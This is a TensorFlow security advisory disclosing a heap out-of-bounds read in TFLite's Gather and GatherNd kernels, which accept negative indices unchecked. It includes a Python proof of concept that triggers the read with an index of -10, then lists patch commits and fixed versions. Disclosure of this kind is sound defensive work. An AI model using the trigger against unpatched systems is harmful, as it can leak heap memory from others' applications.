Heap OOB in TFLite's `Gather*` implementations
### Impact
TFLite's `GatherNd` implementation
https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124 does not support negative indices but there are no checks for this situation.
Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.
Similar issue exists in `Gather` implementation
https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc.
```python
import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()
params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())
out = tf.gather(params, indices, name='out')
with tf.compat.v1.Session() as sess:
converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()
params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)
interpreter.invoke()
```
### Patches
We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f
https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d
https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.